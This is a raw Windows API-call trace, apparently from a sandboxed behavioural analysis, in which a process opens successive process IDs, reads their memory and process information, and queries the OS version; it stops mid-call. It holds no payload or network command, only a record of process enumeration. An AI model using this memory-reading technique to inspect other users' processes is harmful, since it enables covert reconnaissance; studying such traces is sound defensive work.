[0298.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x464 [0298.331] GetLastError () returned 0x0 [0298.332] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.332] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.335] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.337] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.337] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0298.337] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.338] free (_Block=0x196ef0d31b0) [0298.340] CloseHandle (hObject=0x464) returned 1 [0298.341] _ui64tow_s (in: _Value=0x100c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0298.346] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4108") returned 4 [0298.347] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.347] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.403] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x464 [0298.403] GetLastError () returned 0x0 [0298.404] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.404] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.404] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.405] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.405] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3918f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.408] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.410] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.410] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.410] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.410] malloc (_Size=0x82) returned 0x196ef0faba0 [0298.410] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391972, lpBuffer=0x196ef0faba0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faba0*, lpNumberOfBytesRead=0x0) returned 1 [0298.411] free (_Block=0x196ef0faba0) [0298.412] CloseHandle (hObject=0x464) returned 1 [0298.413] _ui64tow_s (in: _Value=0x1018, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0298.419] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4120") returned 4 [0298.420] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.420] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.457] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x464 [0298.457] GetLastError () returned 0x0 [0298.458] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.458] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3118f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.460] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.462] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.462] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.462] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.462] malloc (_Size=0x80) returned 0x196ef0fad50 [0298.462] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311970, lpBuffer=0x196ef0fad50, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fad50*, lpNumberOfBytesRead=0x0) returned 1 [0298.463] free (_Block=0x196ef0fad50) [0298.464] CloseHandle (hObject=0x464) returned 1 [0298.465] _ui64tow_s (in: _Value=0x1020, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0298.470] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4128") returned 4 [0298.472] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.472] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.492] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x464 [0298.492] GetLastError () returned 0x0 [0298.492] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.493] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.494] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.499] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.499] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.499] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.500] malloc (_Size=0x66) returned 0x196ef0d0370 [0298.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0298.500] free (_Block=0x196ef0d0370) [0298.501] CloseHandle (hObject=0x464) returned 1 [0298.543] _ui64tow_s (in: _Value=0x1038, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0298.549] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4152") returned 4 [0298.551] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.551] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.569] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x464 [0298.569] GetLastError () returned 0x0 [0298.569] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.569] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.570] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.571] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.587] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.587] malloc (_Size=0x82) returned 0x196ef0fa210 [0298.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1972, lpBuffer=0x196ef0fa210, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa210*, lpNumberOfBytesRead=0x0) returned 1 [0298.588] free (_Block=0x196ef0fa210) [0298.589] CloseHandle (hObject=0x464) returned 1 [0298.590] _ui64tow_s (in: _Value=0x1040, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0298.596] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4160") returned 4 [0298.597] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.597] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x464 [0298.641] GetLastError () returned 0x0 [0298.641] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.641] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.642] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.642] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.642] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.643] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.645] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.645] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.645] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.645] malloc (_Size=0x5e) returned 0x196ef0d0530 [0298.645] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0530, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0298.646] free (_Block=0x196ef0d0530) [0298.647] CloseHandle (hObject=0x464) returned 1 [0298.648] _ui64tow_s (in: _Value=0x1050, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0298.653] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4176") returned 4 [0298.654] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.655] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x464 [0298.676] GetLastError () returned 0x0 [0298.677] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.678] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.678] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.679] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.681] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.681] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.681] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.681] malloc (_Size=0x64) returned 0x196ef0d0530 [0298.681] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d0530, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0298.682] free (_Block=0x196ef0d0530) [0298.683] CloseHandle (hObject=0x464) returned 1 [0298.683] _ui64tow_s (in: _Value=0x1058, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0298.694] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4184") returned 4 [0298.695] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.695] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.715] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x464 [0298.715] GetLastError () returned 0x0 [0298.716] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.716] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.718] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.719] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.719] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.720] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.720] malloc (_Size=0x72) returned 0x196ef0d31b0 [0298.720] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.720] free (_Block=0x196ef0d31b0) [0298.721] CloseHandle (hObject=0x464) returned 1 [0298.722] _ui64tow_s (in: _Value=0x1064, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0298.727] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4196") returned 4 [0298.729] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, 